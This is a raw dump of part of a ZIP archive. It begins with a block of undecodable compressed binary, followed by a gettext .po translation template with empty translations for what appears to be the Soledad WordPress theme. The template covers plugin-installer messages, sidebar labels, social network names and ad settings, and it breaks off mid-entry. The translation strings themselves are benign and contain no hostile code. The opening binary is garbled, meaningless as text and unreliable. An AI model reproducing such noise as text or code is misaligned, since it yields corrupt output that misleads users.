Ij-bC݆QY|JCJ#(vwFv~+@=p2EpLf.SD£.Ey\GK4z,5ɲ<WV$\v4oˡ"xGA;(@S$^1@V9ĕJZ%1(LU8aZ2aX\@O	8RQ%鬅+fBm嬎w4o1ݫp.E`%{t^d۸@mБ8tץ
_a"0ӺY	~ֿhohcnM:uP#X|H5Iᬁrp&$A9GK<ul`7\Op혛C|˻rV~9`~#e{"nz{@_(	9Hg$YZtK	>7,,zׂc;{]fo]WT|`H4gGr~;wXIΚFцNQ'?p\ 9!`Qp(p󾋣.<Dmhj?Z?ul0kC)!6G*99QDR
nDQkAnV՚љj-,J2/(Y]oNذ.YCN|]Ԃ]6sb`ǲ&m1S )IE }9w
QpqLsa)hU:LsCB"qO:@޻h^y/h,BiTdڅۆp"GWZ>ckNb G)n?݅|0*IgϠKq-KGP[Q.Q7HƤFOFOSw}=Ҳ}[	,K.IwPLbk)F%&8qt2Ys O9_ː5#nngR7s)ˌ`!u-!C 圌7A[@UeOi{ݲZx,!I)n7:c!KhrqE2]dmԣuAi8"O\S@L|&+dS1[{XO$FW 6dMlanR]1rH2k5\6E}\D_#~bG#[p1ĺ2'x {
O\-ɣ	@!WqA1ۿ}c
?0)$lЁ)W\Ei:/   PK     N\kSb b   languages/xx_XX.ponu [        msgid ""
msgstr ""
"Project-Id-Version: \n"
"POT-Creation-Date: 2024-04-02 18:26+0700\n"
"PO-Revision-Date: 2024-04-02 18:26+0700\n"
"Last-Translator: \n"
"Language-Team: \n"
"Language: en\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 3.4.2\n"
"X-Poedit-Basepath: .\n"
"X-Poedit-KeywordsList: __;_e;esc_html__;esc_attr__;_x;_;esc__\n"
"X-Poedit-SearchPath-0: .\n"

#: archive.php:103 archive.php:110 archive.php:117 archive.php:122
#: author.php:99
#, php-format
msgid "<h1 class=\"page-title\">%s</h1>"
msgstr ""

#: archive.php:110 inc/js_composer/shortcodes/pc_archive_title/frontend.php:24
#: inc/template-builder/archive-elements/title.php:375
msgid "F Y"
msgstr ""

#: archive.php:117 inc/js_composer/shortcodes/pc_archive_title/frontend.php:31
#: inc/template-builder/archive-elements/title.php:382
msgid "Y"
msgstr ""

#: bbpress/loop-single-topic.php:60
#, php-format
msgid "Started by: %1$s"
msgstr ""

#: bbpress/loop-single-topic.php:68
#, php-format
msgid "in: <a href=\"%1$s\">%2$s</a>"
msgstr ""

#: category.php:101 category.php:186 tag.php:60 tag.php:128
#, php-format
msgid "%s"
msgstr ""

#: category.php:110 category.php:195 search.php:108 tag.php:69 tag.php:137
msgid "Newest"
msgstr ""

#: category.php:112 category.php:197 search.php:110 tag.php:71 tag.php:139
msgid "Oldest"
msgstr ""

#: class-tgm-plugin-activation.php:304 functions.php:3331
msgid "Install Required Plugins"
msgstr ""

#: class-tgm-plugin-activation.php:305 class-tgm-plugin-activation.php:580
#: functions.php:3332
msgid "Install Plugins"
msgstr ""

#: class-tgm-plugin-activation.php:306 functions.php:3333
#, php-format
msgid "Installing Plugin: %s"
msgstr ""

#: class-tgm-plugin-activation.php:307 functions.php:3335
msgid "Something went wrong with the plugin API."
msgstr ""

#: class-tgm-plugin-activation.php:321 functions.php:3357
msgid "Return to Required Plugins Installer"
msgstr ""

#: class-tgm-plugin-activation.php:322
msgid "Return to the dashboard"
msgstr ""

#: class-tgm-plugin-activation.php:323 class-tgm-plugin-activation.php:3099
#: functions.php:3358
msgid "Plugin activated successfully."
msgstr ""

#: class-tgm-plugin-activation.php:324 functions.php:3359
msgid "The following plugin was activated successfully:"
msgstr ""

#: class-tgm-plugin-activation.php:325 functions.php:3360
#, php-format
msgid "No action taken. Plugin %1$s was already active."
msgstr ""

#: class-tgm-plugin-activation.php:326 functions.php:3362
#, php-format
msgid ""
"Plugin not activated. A higher version of %s is needed for this theme. "
"Please update the plugin."
msgstr ""

#: class-tgm-plugin-activation.php:327 functions.php:3364
#, php-format
msgid "All plugins installed and activated successfully. %1$s"
msgstr ""

#: class-tgm-plugin-activation.php:328
msgid "Dismiss this notice"
msgstr ""

#: class-tgm-plugin-activation.php:329 functions.php:3366
msgid "Please contact the administrator of this site for help."
msgstr ""

#: class-tgm-plugin-activation.php:455
msgid "This plugin needs to be updated to be compatible with your theme."
msgstr ""

#: class-tgm-plugin-activation.php:455
msgid "Update Required"
msgstr ""

#: class-tgm-plugin-activation.php:570
msgid "Set the parent_slug config variable instead."
msgstr ""

#: class-tgm-plugin-activation.php:650
msgid ""
"Please be aware that this theme does not require any specific plugins to "
"function properly. You can choose which plugins you want to use and activate "
"them according to your needs and preferences.<br>\r\n"
"                         For regular websites, you only need to install two "
"plugins: \"Penci Shortcodes & Performance\" and \"Elementor\".<br>Please "
"note that all other plugins are optional add-ons that provide additional "
"features and functionalities to your website. Below you can find more "
"details about the features of each plugin:"
msgstr ""

#: class-tgm-plugin-activation.php:923 class-tgm-plugin-activation.php:3519
msgid "Return to the Dashboard"
msgstr ""

#: class-tgm-plugin-activation.php:1040
msgid ""
"The remote plugin package does not contain a folder with the desired slug "
"and renaming did not work."
msgstr ""

#: class-tgm-plugin-activation.php:1040 class-tgm-plugin-activation.php:1047
msgid ""
"Please contact the plugin provider and ask them to package their plugin "
"according to the WordPress guidelines."
msgstr ""

#: class-tgm-plugin-activation.php:1047
msgid ""
"The remote plugin package consists of more than one file, but the files are "
"not packaged in a folder."
msgstr ""

#: class-tgm-plugin-activation.php:2025
#, php-format
msgid "TGMPA v%s"
msgstr ""

#: class-tgm-plugin-activation.php:2309
msgid "Required"
msgstr ""

#: class-tgm-plugin-activation.php:2312
msgid "Recommended"
msgstr ""

#: class-tgm-plugin-activation.php:2329
msgid "WordPress Repository"
msgstr ""

#: class-tgm-plugin-activation.php:2333
msgid "External Source"
msgstr ""

#: class-tgm-plugin-activation.php:2337
msgid "Pre-Packaged"
msgstr ""

#: class-tgm-plugin-activation.php:2356
msgid "Not Installed"
msgstr ""

#: class-tgm-plugin-activation.php:2360
msgid "Installed But Not Activated"
msgstr ""

#: class-tgm-plugin-activation.php:2362
#: inc/options/framework/fields/link_color/link_color.php:38
msgid "Active"
msgstr ""

#: class-tgm-plugin-activation.php:2368
msgid "Required Update not Available"
msgstr ""

#: class-tgm-plugin-activation.php:2371
msgid "Requires Update"
msgstr ""

#: class-tgm-plugin-activation.php:2374
msgid "Update recommended"
msgstr ""

#: class-tgm-plugin-activation.php:2381
#, php-format
msgid "%1$s, %2$s"
msgstr ""

#: class-tgm-plugin-activation.php:2518
msgid "unknown"
msgstr ""

#: class-tgm-plugin-activation.php:2525
msgid "Installed version:"
msgstr ""

#: class-tgm-plugin-activation.php:2529
msgid "Minimum required version:"
msgstr ""

#: class-tgm-plugin-activation.php:2538
msgid "Available version:"
msgstr ""

#: class-tgm-plugin-activation.php:2559
#, php-format
msgid ""
"No plugins to install, update or activate. <a href=\"%1$s\">Return to the "
"Dashboard</a>"
msgstr ""

#: class-tgm-plugin-activation.php:2575
msgid "Plugin"
msgstr ""

#: class-tgm-plugin-activation.php:2576
#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:47
#: inc/js_composer/shortcodes/social_counter/settings.php:158
msgid "Source"
msgstr ""

#: class-tgm-plugin-activation.php:2577
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:237
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:140
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:107
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:51
#: inc/social-counter/admin-options.php:780
msgid "Type"
msgstr ""

#: class-tgm-plugin-activation.php:2581
msgid "Version"
msgstr ""

#: class-tgm-plugin-activation.php:2582
msgid "Status"
msgstr ""

#: class-tgm-plugin-activation.php:2606
#, php-format
msgid "Install %2$s"
msgstr ""

#: class-tgm-plugin-activation.php:2612
#, php-format
msgid "Update %2$s"
msgstr ""

#: class-tgm-plugin-activation.php:2618
#, php-format
msgid "Activate %2$s"
msgstr ""

#: class-tgm-plugin-activation.php:2680
msgid "Upgrade message from the plugin author:"
msgstr ""

#: class-tgm-plugin-activation.php:2713
msgid "Install"
msgstr ""

#: class-tgm-plugin-activation.php:2719
msgid "Update"
msgstr ""

#: class-tgm-plugin-activation.php:2722
msgid "Activate"
msgstr ""

#: class-tgm-plugin-activation.php:2783
msgid "No plugins are available to be installed at this time."
msgstr ""

#: class-tgm-plugin-activation.php:2785
msgid "No plugins are available to be updated at this time."
msgstr ""

#: class-tgm-plugin-activation.php:2902
msgid "No plugins are available to be activated at this time."
msgstr ""

#: class-tgm-plugin-activation.php:3098
msgid "Plugin activation failed."
msgstr ""

#: class-tgm-plugin-activation.php:3439
#, php-format
msgid "Updating Plugin %1$s (%2$d/%3$d)"
msgstr ""

#: class-tgm-plugin-activation.php:3443
#, php-format
msgid "An error occurred while installing %1$s: <strong>%2$s</strong>."
msgstr ""

#: class-tgm-plugin-activation.php:3444
#, php-format
msgid "The installation of %1$s failed."
msgstr ""

#: class-tgm-plugin-activation.php:3448
msgid ""
"The installation and activation process is starting. This process may take a "
"while on some hosts, so please be patient."
msgstr ""

#: class-tgm-plugin-activation.php:3449
#, php-format
msgid "%1$s installed and activated successfully."
msgstr ""

#: class-tgm-plugin-activation.php:3450
msgid "All installations and activations have been completed."
msgstr ""

#: class-tgm-plugin-activation.php:3451
#, php-format
msgid "Installing and Activating Plugin %1$s (%2$d/%3$d)"
msgstr ""

#: class-tgm-plugin-activation.php:3455
msgid ""
"The installation process is starting. This process may take a while on some "
"hosts, so please be patient."
msgstr ""

#: class-tgm-plugin-activation.php:3456
#, php-format
msgid "%1$s installed successfully."
msgstr ""

#: class-tgm-plugin-activation.php:3457
msgid "All installations have been completed."
msgstr ""

#: class-tgm-plugin-activation.php:3458
#, php-format
msgid "Installing Plugin %1$s (%2$d/%3$d)"
msgstr ""

#: comments.php:66
#: inc/customizer/config/sections/penci_section_spost_comments_section.php:70
#: inc/template-builder/single-elements/comments.php:89
msgid ""
"* By using this form you agree with the storage and handling of your data by "
"this website."
msgstr ""

#: functions.php:71
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:257
msgid "Small"
msgstr ""

#: functions.php:72
msgid "S"
msgstr ""

#: functions.php:77 inc/builder/elements/pb_bookmark/settings.php:86
#: inc/builder/elements/pb_button/settings.php:140
#: inc/builder/elements/pb_button_2/settings.php:143
#: inc/builder/elements/pb_button_mobile/settings.php:143
#: inc/builder/elements/pb_button_mobile/settings.php:167
#: inc/builder/elements/pb_button_mobile_2/settings.php:143
#: inc/builder/elements/pb_button_mobile_2/settings.php:167
#: inc/builder/elements/pb_dropdown_menu/settings.php:42
#: inc/builder/elements/pb_login_register/settings.php:39
#: inc/builder/elements/pb_login_register_mobile/settings.php:39
#: inc/builder/elements/pb_logo/settings.php:172
#: inc/builder/elements/pb_logo/settings.php:196
#: inc/builder/elements/pb_logo/settings.php:272
#: inc/builder/elements/pb_logo_mobile/settings.php:175
#: inc/builder/elements/pb_logo_mobile/settings.php:199
#: inc/builder/elements/pb_logo_mobile/settings.php:252
#: inc/builder/elements/pb_logo_mobile/settings.php:276
#: inc/builder/elements/pb_logo_sidebar/settings.php:176
#: inc/builder/elements/pb_logo_sidebar/settings.php:200
#: inc/builder/elements/pb_logo_sidebar/settings.php:252
#: inc/builder/elements/pb_logo_sidebar/settings.php:276
#: inc/builder/elements/pb_logo_sticky/settings.php:152
#: inc/builder/elements/pb_logo_sticky/settings.php:175
#: inc/builder/elements/pb_main_menu/settings.php:68
#: inc/builder/elements/pb_second_menu/settings.php:69
#: inc/builder/elements/pb_third_menu/settings.php:72
#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:32
#: inc/customizer/config/sections/penci_section_spage_header_section.php:166
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:20
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:52
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:179
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:202
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:83
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:58
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:82
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:374
#: inc/elementor/modules/penci-button/widgets/penci-button.php:386
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:272
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1107
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1259
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:439
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1132
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:428
#: inc/options/framework/fields/background/background.php:270
#: inc/options/framework/fields/link_color/link_color.php:36
#: inc/options/framework/fields/typography/typography.php:186
#: inc/template-builder/archive-elements/posts.php:1294
msgid "Normal"
msgstr ""

#: functions.php:78
msgid "N"
msgstr ""

#: functions.php:83
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:25
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:258
msgid "Medium"
msgstr ""

#: functions.php:84 inc/customizer/default.php:105
msgid "M"
msgstr ""

#: functions.php:89
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:26
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:259
msgid "Large"
msgstr ""

#: functions.php:90
msgid "L"
msgstr ""

#: functions.php:95
msgid "Huge"
msgstr ""

#: functions.php:96
msgid "XL"
msgstr ""

#: functions.php:190 inc/builder/customizer/style.php:70
msgid "on"
msgstr ""

#: functions.php:548
msgid "Adding custom sidebar fails."
msgstr ""

#: functions.php:549
msgid "Removing custom sidebar fails."
msgstr ""

#: functions.php:550
msgid "Are you sure you want to remove this custom sidebar?"
msgstr ""

#: functions.php:2408 inc/custom-sidebar.php:353
#: inc/meta-box/categories-meta-box.php:95
#: inc/meta-box/categories-meta-box.php:128
#: inc/woocommerce/modules/metaboxes.php:38
msgid "Main Sidebar"
msgstr ""

#: functions.php:2419 inc/custom-sidebar.php:354
#: inc/woocommerce/modules/metaboxes.php:39
msgid "Main Sidebar Left"
msgstr ""

#: functions.php:2431
#, php-format
msgid "Footer Column #%s"
msgstr ""

#: functions.php:2443
msgid "Header Signup Form"
msgstr ""

#: functions.php:2455
msgid "Footer Signup Form"
msgstr ""

#: functions.php:2467 inc/customizer/config/options/footer.php:32
#: inc/customizer/config/sections/penci_section_footer_colors_section.php:106
#: inc/options/options.php:138
msgid "Footer Instagram"
msgstr ""

#: functions.php:2473
msgid ""
"Only use for Instagram Slider widget. Display instagram images on your "
"website footer"
msgstr ""

#: functions.php:2479
msgid "Top Instagram"
msgstr ""

#: functions.php:2485
msgid ""
"Only use for Instagram Slider widget. Display instagram images on the top of "
"your website"
msgstr ""

#: functions.php:2491
msgid "Sidebar Hamburger Widgets Above Menu"
msgstr ""

#: functions.php:2502
msgid "Sidebar Hamburger Widgets Below Menu"
msgstr ""

#: functions.php:2513
msgid "Sidebar For Shop Page & Shop Archive"
msgstr ""

#: functions.php:2525 inc/woocommerce/modules/metaboxes.php:40
msgid "Sidebar For Single Product"
msgstr ""

#: functions.php:2538
msgid "Sidebar For BbPress"
msgstr ""

#: functions.php:2552
msgid "Sidebar For BuddyPress"
msgstr ""

#: functions.php:2566 inc/woocommerce/modules/metaboxes.php:42
#, php-format
msgid "Custom Sidebar %s"
msgstr ""

#: functions.php:2945
#, php-format
msgid "%1$s - %2$s"
msgstr ""

#: functions.php:3746
msgid "No Thumbnail"
msgstr ""

#: functions.php:3790 inc/builder/elements/pb_button/settings.php:68
#: inc/builder/elements/pb_button_2/settings.php:68
#: inc/builder/elements/pb_button_3/settings.php:68
#: inc/builder/elements/pb_button_mobile/settings.php:68
#: inc/builder/elements/pb_button_mobile_2/settings.php:68
#: inc/builder/elements/pb_cart_icon/settings.php:11
#: inc/builder/elements/pb_cart_icon/settings.php:41
#: inc/builder/elements/pb_compare_icon/settings.php:11
#: inc/builder/elements/pb_compare_icon/settings.php:109
#: inc/builder/elements/pb_hamburger_menu/settings.php:18
#: inc/builder/elements/pb_mobile_menu/settings.php:17
#: inc/builder/elements/pb_mobile_menu/settings.php:47
#: inc/builder/elements/pb_search_form/settings.php:12
#: inc/builder/elements/pb_search_form_sidebar/settings.php:12
#: inc/builder/elements/pb_search_icon/settings.php:23
#: inc/builder/elements/pb_search_icon/settings.php:53
#: inc/builder/elements/pb_wishlist_icon/settings.php:11
#: inc/builder/elements/pb_wishlist_icon/settings.php:109
#: inc/customizer/config/sections/penci_menu_hbg_section.php:291
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:55
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:103
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:168
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:181
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:208
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:10
#: inc/customizer/config/sections/penci_section_spost_general_section.php:690
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:150
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:163
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:177
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:263
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:192
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:390
#: inc/customizer/config/sections/pencidesign_toc_general_section.php:58
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:75
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:123
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:135
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:102
#: inc/customizer/framework/customizer/class-customizer.php:1232
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:113
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1917
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:187
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1263
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:214
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:902
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:849
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:1025
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:284
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:131
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:1060
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:377
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1432
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:77
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1229
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:74
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:296
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:178
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:768
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1105
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:216
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:912
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:993
#: inc/elementor/modules/penci-product/widgets/penci-product.php:632
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:56
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:512
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:297
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1255
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:115
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:129
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:143
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:472
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:236
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:247
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:259
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:118
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:491
#: inc/js_composer/inc/helper.php:721
#: inc/js_composer/inc/vc-params-helper.php:1868
#: inc/js_composer/shortcodes/big_grid/settings.php:85
#: inc/js_composer/shortcodes/count_down/settings.php:354
#: inc/js_composer/shortcodes/counter_up/settings.php:356
#: inc/js_composer/shortcodes/counter_up/settings.php:437
#: inc/js_composer/shortcodes/custom_sliders/settings.php:145
#: inc/js_composer/shortcodes/info_box/settings.php:151
#: inc/js_composer/shortcodes/mailchimp/settings.php:21
#: inc/js_composer/shortcodes/open_hours/settings.php:218
#: inc/js_composer/shortcodes/product_brand/settings.php:69
#: inc/js_composer/shortcodes/product_brand/settings.php:80
#: inc/js_composer/shortcodes/product_tabs/settings.php:53
#: inc/js_composer/shortcodes/simple_list/settings.php:136
#: inc/js_composer/shortcodes/social_counter/settings.php:215
#: inc/js_composer/shortcodes/social_counter/settings.php:228
#: inc/js_composer/shortcodes/social_counter/settings.php:241
#: inc/meta-box/inc/fields.php:171 inc/meta-box/meta-box.php:636
#: inc/meta-box/register/page.php:185 inc/meta-box/register/page.php:278
#: inc/meta-box/register/page.php:315 inc/meta-box/register/page.php:335
#: inc/meta-box/register/page.php:346 inc/meta-box/register/page.php:358
#: inc/meta-box/register/page.php:370 inc/meta-box/register/page.php:414
#: inc/meta-box/register/page.php:426
#: inc/options/framework/fields/typography/typography.php:119
#: inc/options/framework/fields/typography/typography.php:132
#: inc/options/framework/fields/typography/typography.php:145
#: inc/options/framework/fields/typography/typography.php:160
#: inc/options/framework/fields/typography/typography.php:176
#: inc/options/framework/fields/typography/typography.php:189
#: inc/options/framework/fields/typography/typography.php:203
#: inc/options/framework/fields/typography/typography.php:221
#: inc/template-builder/archive-elements/posts.php:389
#: inc/template-builder/archive-elements/posts.php:1406
#: inc/template-builder/single-elements/author.php:127
#: inc/template-builder/single-elements/featured-overlay.php:1295
#: inc/template-builder/single-elements/featured.php:114
#: inc/template-builder/single-elements/postpagination.php:187
#: inc/template-builder/single-elements/postpagination.php:215
#: inc/template-builder/single-elements/smartlists.php:445
#: inc/widgets/product_sorting.php:52 inc/widgets/social_counter.php:388
#: inc/widgets/social_counter.php:401
msgid "Default"
msgstr ""

#: functions.php:3802
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1929
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:74
#: inc/elementor/modules/penci-button/widgets/penci-button.php:89
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1275
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:914
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:861
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:1037
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:296
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:1072
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1444
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1241
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:308
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:190
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:780
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1117
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:924
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:1005
#: inc/elementor/modules/penci-product/widgets/penci-product.php:644
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:524
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1267
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:484
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:503
#: inc/js_composer/inc/helper.php:733
#: inc/js_composer/inc/vc-params-helper.php:1880
#: inc/template-builder/archive-elements/posts.php:1418
#: inc/template-builder/single-elements/featured-overlay.php:1307
#: inc/template-builder/single-elements/featured.php:126
#: inc/template-builder/single-elements/postpagination.php:227
#: inc/template-builder/single-elements/smartlists.php:457
msgid "Full"
msgstr ""

#: functions.php:4429
msgid "Daily"
msgstr ""

#: functions.php:4434
msgid "Weekly"
msgstr ""

#: functions.php:4439
msgid "Monthly"
msgstr ""

#: functions.php:5143
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:529
#: inc/js_composer/shortcodes/image_gallery/frontend.php:212
msgid " of "
msgstr ""

#: functions.php:5356
#: inc/customizer/config/sections/penci_section_select_share_section.php:25
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:6
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:210
#: inc/js_composer/shortcodes/facebook_page/settings.php:17
#: inc/js_composer/shortcodes/social_counter/settings.php:4
#: inc/social-counter/social-counter.php:74 inc/user-profile.php:272
#: inc/widgets/social_counter.php:612
msgid "Facebook"
msgstr ""

#: functions.php:5366
#: inc/customizer/config/sections/penci_section_select_share_section.php:26
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:13
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:211
#: inc/js_composer/shortcodes/social_counter/settings.php:8
#: inc/user-profile.php:273 inc/widgets/social_counter.php:616
msgid "Twitter"
msgstr ""

#: functions.php:5377 functions.php:5386
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:27
#: inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.php:38
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:214
#: inc/js_composer/shortcodes/pintersest/settings.php:8
#: inc/js_composer/shortcodes/social_counter/settings.php:24
#: inc/user-profile.php:275 inc/widgets/social_counter.php:628
msgid "Pinterest"
msgstr ""

#: functions.php:5402 inc/js_composer/shortcodes/social_counter/settings.php:20
#: inc/social-counter/admin-options.php:361 inc/user-profile.php:274
msgid "Linkedin"
msgstr ""

#: functions.php:5415
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:55
#: inc/js_composer/shortcodes/social_counter/settings.php:60
#: inc/user-profile.php:279
msgid "Tumblr"
msgstr ""

#: functions.php:5428 functions.php:5429
msgid "Messenger"
msgstr ""

#: functions.php:5434
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:77
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:219
#: inc/js_composer/shortcodes/social_counter/settings.php:56
#: inc/widgets/social_counter.php:648
msgid "VK"
msgstr ""

#: functions.php:5439
msgid "Odnoklassniki"
msgstr ""

#: functions.php:5452
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:175
#: inc/user-profile.php:285
msgid "Reddit"
msgstr ""

#: functions.php:5465
msgid "Stumbleupon"
msgstr ""

#: functions.php:5470
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:69
#: inc/js_composer/shortcodes/social_counter/settings.php:72
#: woocommerce/single-product-reviews.php:98
msgid "Email"
msgstr ""

#: functions.php:5483
#: inc/customizer/config/sections/penci_section_select_share_section.php:29
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:168
msgid "Telegram"
msgstr ""

#: functions.php:5495
#: inc/customizer/config/sections/penci_section_select_share_section.php:28
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:161
msgid "Whatsapp"
msgstr ""

#: functions.php:5500
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:217
msgid "LINE"
msgstr ""

#: functions.php:5505
msgid "Pocket"
msgstr ""

#: functions.php:5510
msgid "Skype"
msgstr ""

#: functions.php:5515
#: inc/customizer/config/sections/pencidesign_new_section_social_section.php:224
msgid "Viber"
msgstr ""

#: inc/ad_settings.php:60
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:54
msgid "Google adsense/custom HTML code to display in header 3"
msgstr ""

#: inc/ad_settings.php:67
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:39
msgid "Banner Header Right For Header 3"
msgstr ""

#: inc/ad_settings.php:73
msgid "Link To Go When Click on Banner of Header 3 "
msgstr ""

#: inc/ad_settings.php:79
msgid "Add Custom Code Inside <head> tag"
msgstr ""

#: inc/ad_settings.php:86
msgid "Add Custom Code After <body> tag"
msgstr ""

#: inc/ad_settings.php:107 inc/ad_settings.php:148
msgid ""
"The options here just apply when you use Customizer to set up the homepage - "
"check more all ways to set up the homepage <a href=\"https://soledad."
"pencidesign.net/soledad-document/#homepage\">here</a>"
msgstr ""

#: inc/ad_settings.php:112 inc/ad_settings.php:277
#: inc/customizer/config/sections/penci_section_homepage_general_section.php:182
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:789
#: inc/js_composer/soledad_vc.php:875
msgid "Insert In-feed Ads Code After Every How Many Posts?"
msgstr ""

#: inc/ad_settings.php:119 inc/ad_settings.php:284
